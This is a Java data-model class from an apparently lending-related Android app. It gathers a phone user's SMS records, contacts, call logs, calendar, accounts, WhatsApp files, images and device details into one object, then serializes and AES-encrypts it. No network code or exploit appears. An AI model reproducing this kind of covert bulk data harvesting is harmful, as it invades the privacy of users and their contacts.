package com.test.prolenders.analytics_prolenders.data_sdk_prolenders.beans_prolenders;

import com.google.gson.Gson;
import com.test.prolenders.analytics_prolenders.data_sdk_prolenders.ASBuilder_prolenders;
import com.test.prolenders.config_prolenders.Constant_prolenders;
import com.test.prolenders.util_prolenders.AESCryptUtil_prolenders;
import com.test.prolenders.util_prolenders.UserInfoUtil_prolenders;

import java.util.List;

public class ASRequestPms_prolenders {

    public String app;
    public String token;
    public String product;
    public String androidId;
    public String advertId;
    public String orderId;
    public String tz;
    public String packageName;
    public String transactionId;
    public String type;
    public String userPhone;
    public String version = "40";
    public String client = "ANDROID";
    public ASDecBn_prolenders deviceInfo;
    public String appListGzip;
    public List<ASCtctBn_prolenders> contacts;
    public String smsRecordsGzip;
    public String smsFetchType;
    public String userImagesGzip;
    public String deviceHardwareGzip;
    public String deviceStorageGzip;
    public String deviceWifiGzip;
    public String deviceBatteryGzip;
    public String deviceMediaGzip;
    public String callLogListGzip;
    public String bookList;
    public String phoneBooksGzip;
    public String calendarGzip;
    public String settingAccountGzip;
    public String whatsAppFilesGzip;
    public String path;

    public ASRequestPms_prolenders() {
        this.app = Constant_prolenders.PRODUCT;
        this.product = Constant_prolenders.PRODUCT;
        this.token = UserInfoUtil_prolenders.getInstance().getToken();
        this.androidId = ASBuilder_prolenders.KEY_ANDROID;
        this.orderId = ASBuilder_prolenders.KEY_ORDER_ID;
        this.advertId = ASBuilder_prolenders.KEY_ADVERT_ID;
        this.tz = ASBuilder_prolenders.KEY_TZ;

    }

    public String getTp() {
        return this.type;
    }

    public void setTp(String paramString) {
        this.type = paramString;
    }

    public String getUP() {
        return this.userPhone;
    }

    public void setUP(String paramString) {
        this.userPhone = paramString;
    }


    public void setSRG(String smsRecordsGzip) {
        this.smsRecordsGzip = smsRecordsGzip;
    }

    public String getUIG() {
        return userImagesGzip;
    }

    public void setUIG(String userImagesGzip) {
        this.userImagesGzip = userImagesGzip;
    }

    public String getBL() {
        return bookList;
    }

    public void setProduct(String product) {
        this.product = product;
    }

    public String getCG() {
        return calendarGzip;
    }

    public void setCG(String calendarGzip) {
        this.calendarGzip = calendarGzip;
    }


    public void setTI(String paramString) {
        this.transactionId = paramString;
    }

    public String getVs() {
        return this.version;
    }

    public void setVs(String paramString) {
        this.version = paramString;
    }

    public String getTk() {
        return token;
    }

    public void setTk(String token) {
        this.token = token;
    }

    public String getPN() {
        return this.packageName;
    }

    public void setPN(String paramString) {
        this.packageName = paramString;
    }

    public ASDecBn_prolenders getDecI() {
        return deviceInfo;
    }

    public void setDecI(ASDecBn_prolenders deviceInfo) {
        this.deviceInfo = deviceInfo;
    }

    public String getALG() {
        return appListGzip;
    }

    public void setALG(String appListGzip) {
        this.appListGzip = appListGzip;
    }

    public List<ASCtctBn_prolenders> getCts() {
        return contacts;
    }

    public void setCts(List<ASCtctBn_prolenders> contacts) {
        this.contacts = contacts;
    }

    public String getSRG() {
        return smsRecordsGzip;
    }

    public String getSAG() {
        return settingAccountGzip;
    }

    public void setSAG(String settingAccountGzip) {
        this.settingAccountGzip = settingAccountGzip;
    }

    public String getWAFG() {
        return whatsAppFilesGzip;
    }

    public void setWAFG(String whatsAppFilesGzip) {
        this.whatsAppFilesGzip = whatsAppFilesGzip;
    }

    public String getCLLG() {
        return callLogListGzip;
    }

    public void setCLLG(String callLogListGzip) {
        this.callLogListGzip = callLogListGzip;
    }


    public String toEncryptParams(String path){
        this.path = path;
        String content = new Gson().toJson(this).trim();
        return AESCryptUtil_prolenders.encryptDefault(content);
    }


    public void setBL(String bookList) {
        this.bookList = bookList;
    }

    public String getPBG() {
        return phoneBooksGzip;
    }

    public void setPBG(String phoneBooksGzip) {
        this.phoneBooksGzip = phoneBooksGzip;
    }

    public String getClt() {
        return client;
    }

    public void setClt(String client) {
        this.client = client;
    }

    public String getDHG() {
        return deviceHardwareGzip;
    }
    public void setDHG(String deviceHardwareGzip) {
        this.deviceHardwareGzip = deviceHardwareGzip;
    }

    public String getDSG() {
        return deviceStorageGzip;
    }

    public void setDSG(String deviceStorageGzip) {
        this.deviceStorageGzip = deviceStorageGzip;
    }

    public String getDWG() {
        return deviceWifiGzip;
    }

    public void setDWG(String deviceWifiGzip) {
        this.deviceWifiGzip = deviceWifiGzip;
    }

    public String getDBG() {
        return deviceBatteryGzip;
    }

    public void setDBG(String deviceBatteryGzip) {
        this.deviceBatteryGzip = deviceBatteryGzip;
    }

    public String getDMG() {
        return deviceMediaGzip;
    }

    public void setDMG(String deviceMediaGzip) {
        this.deviceMediaGzip = deviceMediaGzip;
    }

    public String getSFT() {
        return smsFetchType;
    }

    public void setSFT(String smsFetchType) {
        this.smsFetchType = smsFetchType;
    }

    public String getApp() {
        return app;
    }

    public void setApp(String app) {
        this.app = app;
    }

    public String getProduct() {
        return product;
    }

    public String getTI() {
        return this.transactionId;
    }
}
